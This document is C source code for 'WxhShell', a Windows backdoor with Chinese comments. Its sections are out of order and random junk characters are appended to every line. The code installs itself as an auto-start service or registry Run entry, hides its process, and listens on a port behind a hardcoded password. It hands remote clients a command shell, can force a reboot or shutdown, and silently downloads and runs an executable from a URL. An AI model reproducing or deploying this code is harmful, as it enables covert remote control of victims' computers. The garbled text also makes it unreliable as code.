    else { @E.k/G!~Nb  
    closesocket(wsh); 1 y}2+Kk  
    ExitThread(0); ! Q<>3 xZ  
    } "7>>I D  
    break; m?HZ;  
    } P,=+W(s9}  
  // 获取shell q.2(OP>(  
  case 's': { kF7V.m/~o  
    CmdShell(wsh); bxK(9.  
    closesocket(wsh); E+C5 h ;p&  
    ExitThread(0); i@NqC;~;  
    break; 4 g. bR  
  } ~ d^<_R  
  // 退出 oUQ07z\C  
  case 'x': { @Mvd'.r<;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a^5^gId5l!  
    CloseIt(wsh); A[WV'!A,  
    break; |#l=  
    } Z>)][pL  
  // 离开 )6~1 ^tD  
  case 'q': { ?[x49Ux,P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {K#NB_*To  
    closesocket(wsh); ~el3I=KC}  
    WSACleanup(); P'MY[&|mM'  
    exit(1); }bU8G '  
    break; /MQU >&  
        } VDB;%U*D  
  } oPc\<$  
  } Hx$c N  
9;%CHb&  
  // 提示信息 *c[2C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S]sk7  
} %7`f{|.  
  } !QmzrX}h  
qW 1V85FG  
  return; G,=yc@uq  
} :ug4g6;#H0  
fx8EB8A7K7  
// shell模块句柄 QCPID:  
int CmdShell(SOCKET sock) FI8Oz,  
{ A$g+K,.l  
STARTUPINFO si; G1 o70  
ZeroMemory(&si,sizeof(si)); ^7]"kg DA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fQ>4MKLw=d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]aCk_*U  
PROCESS_INFORMATION ProcessInfo; l!E7A Kk8  
char cmdline[]="cmd"; #<( = }?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c^8o~K>w84  
  return 0; +*oS((0s  
} d +iR/Ssc  
/9y aW7w  
// 自身启动模式 S'~o,`xy  
int StartFromService(void) <*H^(0  
{ uR6w|e`  
typedef struct t]1ubt2W  
{ m"c :"I6  
  DWORD ExitStatus; TaJB4zB  
  DWORD PebBaseAddress; 4(?G6y)  
  DWORD AffinityMask; <b+[<@wS  
  DWORD BasePriority; ,~zj=F  
  ULONG UniqueProcessId; ?j7vZ}iRi  
  ULONG InheritedFromUniqueProcessId; zBf-8]"^  
}   PROCESS_BASIC_INFORMATION; !e#xx]v3  
ihT~xt  
PROCNTQSIP NtQueryInformationProcess; m xw dugr`  
! 0/z>#b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h06ku2Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =R*Gk4<Y  
v;y0jD#b  
  HANDLE             hProcess; xa( m5P  
  PROCESS_BASIC_INFORMATION pbi; 2}}?'PwwT  
Ja]o GT=e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &Y@#g9G  
  if(NULL == hInst ) return 0; 3HyhEVR-#~  
O\;=V`z-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YC_3n5F%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #iSFf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r^$~>!kZ|  
]Pn !nSg  
  if (!NtQueryInformationProcess) return 0; f7}"lG]q  
z/&;{J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TPO1 GF  
  if(!hProcess) return 0;  H'RL62!  
6*GjP ;S =  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VS?@y/\In  
`29TY&p+"  
  CloseHandle(hProcess); '!v c/Hw  
LU!1s@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -'rj&x{Q)U  
if(hProcess==NULL) return 0; ")s!L"x  
HW=xvA+  
HMODULE hMod; {gf>*  
char procName[255]; e{G_GycH  
unsigned long cbNeeded; PX".Km p.  
ApPy]IdwX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); go)p%}s  
U6 82 Th  
  CloseHandle(hProcess); hQJWKAf,/  
a! Yb1[  
if(strstr(procName,"services")) return 1; // 以服务启动 nN`"z3o  
w#PZu+  
  return 0; // 注册表启动 |U[y_Y\a  
} o 6j"OZcv  
FyD.>ot7M  
// 主模块 @%i>XAe#0  
int StartWxhshell(LPSTR lpCmdLine) (0*v*kYdL+  
{ nR5bs;gk"  
  SOCKET wsl; ]>:^d%n,}  
BOOL val=TRUE; ;np_%?is  
  int port=0; i8V0Ty4~N  
  struct sockaddr_in door; ]S8LY.Az5  
n~z\?Y=*  
  if(wscfg.ws_autoins) Install(); 6i@ub%qq  
4 9w=kzo  
port=atoi(lpCmdLine); YaFcz$GE_  
-oBI+v&  
if(port<=0) port=wscfg.ws_port; AfWl6a?T8:  
rb_Z5T  
  WSADATA data;  :q2YBa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K, (65>86;  
993d/z|DX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mps *}9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i|2$8G3  
  door.sin_family = AF_INET; \3NS>v[1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I"!'AI-  
  door.sin_port = htons(port); ":WYcaSi  
jOv"<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q&M:17+:Q  
closesocket(wsl); .A<sr  
return 1; +802`eax  
} iV)ac\  
UC9{m252  
  if(listen(wsl,2) == INVALID_SOCKET) { 6zYaA  
closesocket(wsl); (:?&G9k "  
return 1; 'tWAuI  
} SfI*bJo>V  
  Wxhshell(wsl); 9G:TW|)L[Q  
  WSACleanup(); 'XfgBJF=  
Md9l+[@  
return 0; Fn,k!q  
vnsSy33K  
} >iy^$bqF  
>a]t<  
// 以NT服务方式启动 ' Js?N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r=csi  
{ CM 9P"-  
DWORD   status = 0; J~J@ ]5/  
  DWORD   specificError = 0xfffffff; N_vXYaY  
)*[ ""&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O<`R~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g3rRhS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZO7bSxAN-  
  serviceStatus.dwWin32ExitCode     = 0; Ex,JB +  
  serviceStatus.dwServiceSpecificExitCode = 0; u(9X  
  serviceStatus.dwCheckPoint       = 0; ##~!M(c  
  serviceStatus.dwWaitHint       = 0; LP>UU ,Z  
EhXiv#CZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e{t=>vry  
  if (hServiceStatusHandle==0) return; nYov>x]  
[ _%,6e+  
status = GetLastError(); G.ud1,S#  
  if (status!=NO_ERROR) IIP.yyh>  
{ 2Guvze_bU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <|JU(B  
    serviceStatus.dwCheckPoint       = 0; A70(W{6a9@  
    serviceStatus.dwWaitHint       = 0; _<u;4RO(s  
    serviceStatus.dwWin32ExitCode     = status; [2H[5<tH  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,Oi^ySn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $xcv>  
    return; !QTPWA  
  } $I(}r3r  
7)PJ:4IqS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H XP;0B%4  
  serviceStatus.dwCheckPoint       = 0; :)LC gIQo  
  serviceStatus.dwWaitHint       = 0; 6 6dTs,C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )d_U)b7i  
} BvI 0v:  
CXa Ld7nMX  
// 处理NT服务事件,比如:启动、停止 ".M:`BoW4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 28+HKbgK  
{ @H4wHlb  
switch(fdwControl) kd`YSkZ  
{ 82 .HH5Z{  
case SERVICE_CONTROL_STOP: gUb "3g0  
  serviceStatus.dwWin32ExitCode = 0; C M^r|4 K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >Qk97we'9  
  serviceStatus.dwCheckPoint   = 0; ER2V*,n@  
  serviceStatus.dwWaitHint     = 0; ~,G]glu8  
  { ?1$\pq^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HSql)iT  
  } &z QWIv  
  return; zi_[ V@Es/  
case SERVICE_CONTROL_PAUSE: Cn/q=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7yUvL8p-  
  break; x Zg7Jg  
case SERVICE_CONTROL_CONTINUE: [U']kt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bQpoXs0w;  
  break; #8&#E?^d  
case SERVICE_CONTROL_INTERROGATE: Hi7G/2t@`  
  break; d1lH[r!Z  
}; lux9o$ %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]]3Q*bq4  
} q!@c_o  
D zE E:&*=  
// 标准应用程序主函数 U-ULQ|6U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |QMT A5  
{ Y}ky/?q  
_[0I^o  
// 获取操作系统版本 c*jr5 Y  
OsIsNt=GetOsVer(); acy"ct*I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4zwif&  
4NI ' (#l  
  // 从命令行安装 !&6-(q9  
  if(strpbrk(lpCmdLine,"iI")) Install(); WSSaZ9 =  
 X)y*#U  
  // 下载执行文件 =3pD:L  
if(wscfg.ws_downexe) { I'P.K| "R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fW[_+r]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?Cc$]  
} x;*VCs  
lvG3<ls0K$  
if(!OsIsNt) { . *Z#cq0  
// 如果时win9x,隐藏进程并且设置为注册表启动 F-i&M1 \_  
HideProc(); 78gob&p?  
StartWxhshell(lpCmdLine); eNivlJ,K|@  
} <%(f9j  
else 7%X+O8  
  if(StartFromService()) fA;x{0CAMX  
  // 以服务方式启动 m9uUDq#GJ  
  StartServiceCtrlDispatcher(DispatchTable); tPA"lBS !  
else HN^w'I'bp  
  // 普通方式启动 $*wu~  
  StartWxhshell(lpCmdLine); y.%i  
Us*Vn  
return 0; DU(X,hDBF  
} Scf.4~H 0  
&,F elB0*  
PaA6Z":  
1ME|G"$;  
=========================================== !(}OBZ[*  
9B& }7kk  
/^NJ)9IB  
x={kjym L  
 hgNY[,  
;A`IYRzt  
" A<]&JbIt  
,Z >JvTnH  
#include <stdio.h> OrzM hQaf  
#include <string.h> r';Hxa '  
#include <windows.h> 3KR2TcT#{  
#include <winsock2.h> |:{g?4Mi  
#include <winsvc.h> hLCsQYNDU  
#include <urlmon.h> O#A8t<f|M  
$]xE$dzJ  
#pragma comment (lib, "Ws2_32.lib") "Fo  
#pragma comment (lib, "urlmon.lib") rE9Ta8j6  
3{I=.mUUm  
#define MAX_USER   100 // 最大客户端连接数 wrhBH;3  
#define BUF_SOCK   200 // sock buffer &`-_)~5]  
#define KEY_BUFF   255 // 输入 buffer #vnefIcBf  
~>lOl/n5  
#define REBOOT     0   // 重启 nqBG]y aI  
#define SHUTDOWN   1   // 关机 :LU"5g  
!>?4[|?n<  
#define DEF_PORT   5000 // 监听端口 JvT %R`i  
@263)`9G  
#define REG_LEN     16   // 注册表键长度 !^n1  
#define SVC_LEN     80   // NT服务名长度 eUi> Mp  
PV5-^Y"v  
// 从dll定义API U;^CU!a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j0Id!o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S5zpUF=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CD*f4I#d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f6@^ Mg  
+qE,<c}}  
// wxhshell配置信息 ))8Emk^Q{  
struct WSCFG { )zo#1$C-  
  int ws_port;         // 监听端口 = E##},N"  
  char ws_passstr[REG_LEN]; // 口令 Vf@S8H  
  int ws_autoins;       // 安装标记, 1=yes 0=no mYzsT Uq  
  char ws_regname[REG_LEN]; // 注册表键名 oUnq"]  
  char ws_svcname[REG_LEN]; // 服务名 -Y5YCY!`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W9:fKP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $K5ni{M;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7[(Lrx.pM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no * [iity  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `two|gX0K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <>ZBW9  
o6`Y7,]  
}; 3RBpbTNWp  
N[- %0  
// default Wxhshell configuration $w 5#2Za  
struct WSCFG wscfg={DEF_PORT, 0[_O+u  
    "xuhuanlingzhe", 9/@FADh  
    1, ~Rx~g  
    "Wxhshell", BYhmJC|  
    "Wxhshell", PmuEL@'^ U  
            "WxhShell Service", N` @W%  
    "Wrsky Windows CmdShell Service", =*@MQ  
    "Please Input Your Password: ", 4f_ZY5=  
  1, 3sd{AkD^  
  "http://www.wrsky.com/wxhshell.exe", P2A]qX  
  "Wxhshell.exe" 5WrIg(l  
    }; O6*'gnke  
}[XB]Xf  
// 消息定义模块 5P5A,K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PEOM1oY)w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (**-"o]HH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ::^qy^n  
char *msg_ws_ext="\n\rExit."; jV(xYA3  
char *msg_ws_end="\n\rQuit."; 1R^XWAb  
char *msg_ws_boot="\n\rReboot..."; nsM>%+o  
char *msg_ws_poff="\n\rShutdown..."; vWPM:1A  
char *msg_ws_down="\n\rSave to "; 'Qp&,xK  
\}]=?}(  
char *msg_ws_err="\n\rErr!"; 9&|12x$  
char *msg_ws_ok="\n\rOK!"; wdN>KS2!  
:pL1F)-*  
char ExeFile[MAX_PATH]; r_qncy,F  
int nUser = 0; ^=4I|+P,6.  
HANDLE handles[MAX_USER]; (9WL+S  
int OsIsNt; e _SoM!;  
o>/uW8  
SERVICE_STATUS       serviceStatus; Zi2Eu4p l{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E< io^  
Mo:!jS~a(Z  
// 函数声明 Qd&d\w/  
int Install(void); yhw:xg_;Kz  
int Uninstall(void); \UkNE5  
int DownloadFile(char *sURL, SOCKET wsh); k'WS"<-  
int Boot(int flag); 6Y92&  
void HideProc(void); |ec(z  
int GetOsVer(void); qY*%p  
int Wxhshell(SOCKET wsl); JO<gN= [  
void TalkWithClient(void *cs); mM\!4Yi`7  
int CmdShell(SOCKET sock); >uP{9kDm  
int StartFromService(void); |g: '')>[  
int StartWxhshell(LPSTR lpCmdLine); !.tL"U~4  
&"~,V6,q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .&* ({UM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mlsvP%[f.  
vkNZ -`+I  
// 数据结构和表定义 IxK 3,@d  
SERVICE_TABLE_ENTRY DispatchTable[] = ZYl-p]\*y  
{ eY6gb!5u  
{wscfg.ws_svcname, NTServiceMain}, @SF" )j|  
{NULL, NULL} ^-c si   
}; WNF=NNO-R  
W_e-7=6  
// 自我安装 "W,"qFx  
int Install(void) @vQ;>4i.  
{ wt_?B_nR  
  char svExeFile[MAX_PATH]; nkr,  
  HKEY key; OW[/%U>  
  strcpy(svExeFile,ExeFile); kcma/d  
WL]Wu.k  
// 如果是win9x系统,修改注册表设为自启动 )M|O;~q  
if(!OsIsNt) { $z`cMQ r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fed[^wW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `0n 7Cyed  
  RegCloseKey(key); ]6i_d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~PH1|h6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E:dT_x<Y  
  RegCloseKey(key); #Kb)>gzT  
  return 0; I2Or& _  
    } 7DHT)9lD/  
  } Hjo:;s  
} RJ`/qXL  
else { ]ukj]m/@  
JJbM)B@-  
// 如果是NT以上系统,安装为系统服务 :`Zl\!]E`o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $+)x)1  
if (schSCManager!=0) am$-sh72  
{ =`7)X\i@z  
  SC_HANDLE schService = CreateService C7fi1~  
  ( !kHyLEV  
  schSCManager, ,pGCgOG#}c  
  wscfg.ws_svcname, u1pYlu9IW  
  wscfg.ws_svcdisp, s6eq?1l 3  
  SERVICE_ALL_ACCESS, nHhD<a!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RL]lt0O{  
  SERVICE_AUTO_START, .@/z-OgXg  
  SERVICE_ERROR_NORMAL, H pjIp.  
  svExeFile, DY+8m8!4H  
  NULL, e) /u>I  
  NULL, !z4Hj{A_  
  NULL, a s<q  
  NULL, Lu#@~  
  NULL /K Jx n6  
  ); MRl*r K  
  if (schService!=0) t KqCy\-q  
  { Ig?.*j ]  
  CloseServiceHandle(schService); NdED8 iRc  
  CloseServiceHandle(schSCManager); s_Ge22BZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1+PNy d  
  strcat(svExeFile,wscfg.ws_svcname); gp|7{}Q{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _>:=<xyOq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }mT%N eS  
  RegCloseKey(key); aBA#\eV  
  return 0; GO:1 Z?^  
    } (1r>50Ge  
  } ,[K)E  
  CloseServiceHandle(schSCManager); n9-q5X^e>  
} zf!\wY"`  
} o"+ &^  
WY. \<$7  
return 1; OD@@O9  
} {/|8g(  
nD?M;XN  
// 自我卸载 DHujpZXQ  
int Uninstall(void) X-2S*L'  
{ *IO;`k q,;  
  HKEY key; k @/SeE  
oe_[h]Hgl  
if(!OsIsNt) { 5KPPZmO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g9r5t';  
  RegDeleteValue(key,wscfg.ws_regname); W0?Y%Da(4m  
  RegCloseKey(key); O'sr[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d=5}^v#4  
  RegDeleteValue(key,wscfg.ws_regname); WUOPYYW<o  
  RegCloseKey(key); $P}]|/Yb  
  return 0; F*jj cUk  
  } t%YX-@  
} /Geks/  
} Qmc;s{-r;  
else { .Mft+,"  
X=c ,`&^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m=y,_Pz>U  
if (schSCManager!=0) z1KC$~{O  
{ $^+KR]\q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z?) RF[  
  if (schService!=0) *$Wx*Jo  
  { $X\` 7`v  
  if(DeleteService(schService)!=0) { 63dtO{:4  
  CloseServiceHandle(schService); 2Z9gOd<M~  
  CloseServiceHandle(schSCManager); G|Yp <W%o  
  return 0; n~>CE"q  
  } ~aq?Kk  
  CloseServiceHandle(schService); 2] wf`9ZH  
  } Q{|'g5(O  
  CloseServiceHandle(schSCManager); `::(jW.KO  
} UeiJhH,u   
} wbF1>{/"  
DBh/V#* D  
return 1; ^)P5(fJ  
} I8oKa$RF  
AiHDoV+-  
// 从指定url下载文件 '*{Rn7B5  
int DownloadFile(char *sURL, SOCKET wsh) 1X_!%Z  
{ \w\47/k{  
  HRESULT hr; Va[dZeoy  
char seps[]= "/"; `&Of82*w  
char *token; Wes "t}[25  
char *file; lG^nT  
char myURL[MAX_PATH]; X|lmH{kf  
char myFILE[MAX_PATH]; \U  =>  
28qWC~/9  
strcpy(myURL,sURL); B46H@]d#7K  
  token=strtok(myURL,seps); uXW. (x7"f  
  while(token!=NULL) i$<v*$.o  
  { j tkPi)QR  
    file=token; Ty`=U>K|  
  token=strtok(NULL,seps); ~322dG  
  } i@?<]n  
D@ 1^:'$V  
GetCurrentDirectory(MAX_PATH,myFILE); ScmzbDu  
strcat(myFILE, "\\"); D'hr\C^  
strcat(myFILE, file); z8[|LF-dx  
  send(wsh,myFILE,strlen(myFILE),0); +q?0A^C>  
send(wsh,"...",3,0); P##(V!YR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u2m{Yx|  
  if(hr==S_OK) ~ilBw:L-3  
return 0; .?)oiPW#  
else <+JFal  
return 1; 0J,d9a [1  
P*=3$-`  
} Jt^JE{m9%  
.xQ'^P_q  
// 系统电源模块 hQLx"R$  
int Boot(int flag) E0%Y%PQ**{  
{ jl%e O.  
  HANDLE hToken; 1UWgOCc  
  TOKEN_PRIVILEGES tkp; X1QZEl  
k#G7`dJl  
  if(OsIsNt) { (dnc7KrM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QL!+.y%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;xC~{O  
    tkp.PrivilegeCount = 1; HQj4h]O#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JWjp<{Q; 1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +uXnFf d^  
if(flag==REBOOT) { "JGig!9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +GtGyp  
  return 0; \B +SzW  
} `fh_8%m]*  
else { gM[ J'DMW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _@?Jx/`;bk  
  return 0; 03\8e?$  
} 5Kxk9{\8  
  } KvOI)"0(  
  else { `%:(IGxz  
if(flag==REBOOT) { Yzx0[_'u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >V=@[B(0  
  return 0; dV*rnpN  
} AsF`A"Cdw<  
else { <G=@Gl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &!fcLJd  
  return 0; B>2 1A9&  
} 5!fW&OiY  
} vy y\^nL  
N>\?Aeh  
return 1; JNCtsfd  
} w:(7fu=  
ExU|EN-  
// win9x进程隐藏模块 ``CADiM:S  
void HideProc(void) vK~KeZ\,p=  
{ 4?uG> ;V  
wA&)y>n-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y\S^DJy  
  if ( hKernel != NULL ) _qNLy/AY  
  { '0rwNEg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -{mq\GvGn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tz~ ftf  
    FreeLibrary(hKernel); +>({pHZ<S  
  } |.W;vc<  
l[{}ZKZ  
return; z3LPR:&Z  
} C^O^Jj5X%  
K<(sqH  
// 获取操作系统版本 bd;f@)X  
int GetOsVer(void) /hR]aw  
{ Mc^7FWkw  
  OSVERSIONINFO winfo; ?LM'5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f_Bf}2Eedj  
  GetVersionEx(&winfo); '~a$f;: Dv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2 ZXF_ o  
  return 1; h%e!f#  
  else BBj"}~da  
  return 0; C{^@.8:  
} rJj~cPwL"  
z5w|+9U  
// 客户端句柄模块 .q}k  
int Wxhshell(SOCKET wsl) %W@IB8]Vr  
{ 8"^TWzg}L  
  SOCKET wsh; H.K`#W&  
  struct sockaddr_in client; w+P^c|  
  DWORD myID; yBKlp08J  
`vBa.)u  
  while(nUser<MAX_USER) IbwRb  
{ pSUp"wch  
  int nSize=sizeof(client); ZK*aVYnu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y$NG..S  
  if(wsh==INVALID_SOCKET) return 1; _.LWc^Sg  
z|H>jit+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N Q=YTRU  
if(handles[nUser]==0) Dw,f~D$+ic  
  closesocket(wsh); k JFHUR  
else E+ 20->  
  nUser++; Lcm!e  
  } BT0hx!Ti  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gjr2]t;E  
!~v>&bCG>9  
  return 0; (P8oXb+%  
} &i RX-)^u  
Wno5B/V  
// 关闭 socket \ } f*   
void CloseIt(SOCKET wsh) xc?<:h"  
{ rfpxE>_|G  
closesocket(wsh); 4F!d V;"Z(  
nUser--; [N)M]u  
ExitThread(0); =Y[Ae7e  
} LcF3P 4  
G> >_G<x  
// 客户端请求句柄 !CKUkoX  
void TalkWithClient(void *cs) h65j,v6B  
{ rg.if"o  
pXa? Q@ 6  
  SOCKET wsh=(SOCKET)cs; N3) v,S-  
  char pwd[SVC_LEN]; ~G:7*:[b  
  char cmd[KEY_BUFF]; # w6CL  
char chr[1]; "-%H</  
int i,j; v^'~-^s  
iSHl_/I<  
  while (nUser < MAX_USER) { nrBitu,  
!f 6  
if(wscfg.ws_passstr) { :DJ@HY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w4a7c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5;Xrf=  
  //ZeroMemory(pwd,KEY_BUFF); ;"z>p25=T  
      i=0; 9v0|lS!-  
  while(i<SVC_LEN) { xkovoTzV  
F eLP!oS>  
  // 设置超时 FO$Tn+\6  
  fd_set FdRead; wP*Z/}Uum+  
  struct timeval TimeOut; ,jmG!qJb  
  FD_ZERO(&FdRead); b??1Up  
  FD_SET(wsh,&FdRead); (P-<9y@  
  TimeOut.tv_sec=8; K2 2Xo<3  
  TimeOut.tv_usec=0; g_U69 z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X Rn=;gK%J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6Y^o8R  
{J$aA6t:"T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eHR<(8c'f  
  pwd=chr[0]; pJ[Q.QxU  
  if(chr[0]==0xd || chr[0]==0xa) { J7xmf,76w  
  pwd=0; 1S.~-K*X  
  break; ':3KZ4/C  
  } FQ%mNowuj  
  i++; lDeWs%n  
    } !=:c8V  
 ~A/_\-  
  // 如果是非法用户,关闭 socket LNkyV*TI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 6 ;hg #  
} "f_Z.6WMY  
a 2TC,   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }|,y`ui\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cht#~d  
ZtVa*xl  
while(1) { O [/~V=  
b3+PC$z2h  
  ZeroMemory(cmd,KEY_BUFF); S6]':  
1oPT8)[U  
      // 自动支持客户端 telnet标准   >q`X%&l_  
  j=0; L@XeAEIq  
  while(j<KEY_BUFF) { \~PFD%]:3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?F/3]lsggT  
  cmd[j]=chr[0]; *rLs!/[Z_  
  if(chr[0]==0xa || chr[0]==0xd) { )T?ryp3ev  
  cmd[j]=0; lS^0*(Y  
  break; @zbXG_J  
  } }8HLyK,4  
  j++; i7FEjjGtG  
    } JFZ p^{  
P*>V6SK>b  
  // 下载文件 ioggD  
  if(strstr(cmd,"http://")) { !_@%/I6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #82B`y<<y/  
  if(DownloadFile(cmd,wsh)) FWg7 e3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y{KJk'xN5W  
  else -MjRFa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zu,f&smb  
  } :R)IaJ6)  
  else { DI_mF#5q  
amRtFrc|  
    switch(cmd[0]) { W4<}w-AoEp  
  a|.u;  
  // 帮助 )-(NL!?`  
  case '?': { o0 Ae*Y0  
